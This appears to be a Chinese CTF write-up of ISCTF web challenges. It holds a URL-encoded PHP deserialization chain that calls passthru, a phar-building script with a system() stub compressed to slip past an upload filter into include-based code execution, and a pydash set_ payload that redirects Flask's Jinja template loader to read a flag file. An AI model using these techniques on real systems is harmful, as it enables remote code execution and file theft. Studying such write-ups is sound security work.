ISCTF=O%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A2%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A3%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A24%3A%22passthru%28%27strings%09%2Ff%2A%27%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bs%3A3%3A%22213%22%3B%7Ds%3A4%3A%22var5%22%3BN%3Bs%3A4%3A%22arg1%22%3BN%3B%7Ds%3A4%3A%22var7%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BN%3B%7D
//对应passthru('strings\t/f*');

include_upload
开题后检查源码,提示include.php

内容如下:

这里我们先进行常规的文件上传测试,改后缀、改MIME类型但是都没办法绕过,特别是这题还对文件内容做了限制,<都被ban了,js格式的一句话也无法生效。
这时候就要利用到include了,因为篇幅原因,这里我就简单说下:
当我们include一个文件的时候,会调用一个叫做compile_filename的方法,持续跟进这个方法会发现最后有一个判断--文件名中是否包含.phar,如果是,则调用phar_open_from_fp,这个方法会去判断文件的压缩形式(这题对后缀有限制,所以我们使用gz或者是bzip2进行压缩),如果是gz或bzip2,则解压,并且包含。这里的解压步骤很重要,我们的phar文件内容其实还是可读的,会被题目waf,所以必须进行一次压缩,使得文件内容不可读,从而绕过题目限制,实现rce。
先用脚本生成一个phar文件,命令按需修改:
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('ls /');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
然后压成gz压缩包,再把后缀改成png(只需要保证文件名有.phar即可,文件目录含有.phar都可以),上传文件:


直接cat即可获得flag
Who am I
首先注册账号,登录的时候抓包,这里有个type=1,多次尝试无果后觉得关键点就在这里,改type=0,进入管理界面
看到main.py的源码

from flask import Flask,request,render_template,redirect,url_for
import json
import pydash
app=Flask(__name__)
database={}
data_index=0
name=''
@app.route('/',methods=['GET'])
def index():
return render_template('login.html')
@app.route('/register',methods=['GET'])
def register():
return render_template('register.html')
@app.route('/registerV2',methods=['POST'])
def registerV2():
username=request.form['username']
password=request.form['password']
password2=request.form['password2']
if password!=password2:
return '''
<script>
alert('前后密码不一致,请确认后重新输入。');
window.location.href='/register';
</script>
'''
else:
global data_index
data_index+=1
database[data_index]=username
database[username]=password
return redirect(url_for('index'))
@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
return render_template('dashboard.html')
@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
return render_template('admin.html')
@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"
@app.route('/user/name',methods=['POST'])
def name():
return {'username':user}
def logout():
return redirect(url_for('index'))
@app.route('/reset',methods=['POST'])
def reset():
old_password=request.form['old_password']
new_password=request.form['new_password']
if user in database and database[user] == old_password:
database[user]=new_password
return '''
<script>
alert('密码修改成功,请重新登录。');
window.location.href='/';
</script>
'''
else:
return '''
<script>
alert('密码修改失败,请确认旧密码是否正确。');
window.location.href='/user_dashboard';
</script>
'''
@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)
@app.route('/login',methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
type=request.form['type']
if username in database and database[username] != password:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
elif username not in database:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
else:
global name
name=username
if int(type)==1:
return redirect(url_for('user_dashboard'))
elif int(type)==0:
return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))
if __name__=='__main__':
app.run(host='0.0.0.0',port=8080,debug=False)
漏洞点在这里:
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"
@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)
考的是pydash的set_函数,先给出payload再做解释:
/operate?username=app&password=jinja_loader.searchpath[0]&confirm_password=/

/impression?point=flag

因为pydash的set_函数的参数可控,/impression路由渲染模板的路径也可以自定义,所以我们尝试修改渲染模板加载位置,让下次渲染的路径为根目录的flag文件,从而获得flag。
第一个参数app是Flask应用实例,表示要操作的对象,必须是 dict、list、或支持属性/项赋值的对象
第二个参数jinja_loader.searchpath[0]:模板加载位置,默认是第一个,所以我们把加载位置从第一位替换到根目录(即第三个参数)
连接起来,即app.jinja_loader.searchpath[0] ,app.jinja_loader是一个 FileSystemLoader(Jinja2 模板加载器),它的 searchpath是一个目录列表,Jinja2 从中查找模板文件,接着把模板地址替换到point所指向的flag文件。

浙公网安备 33010602011771号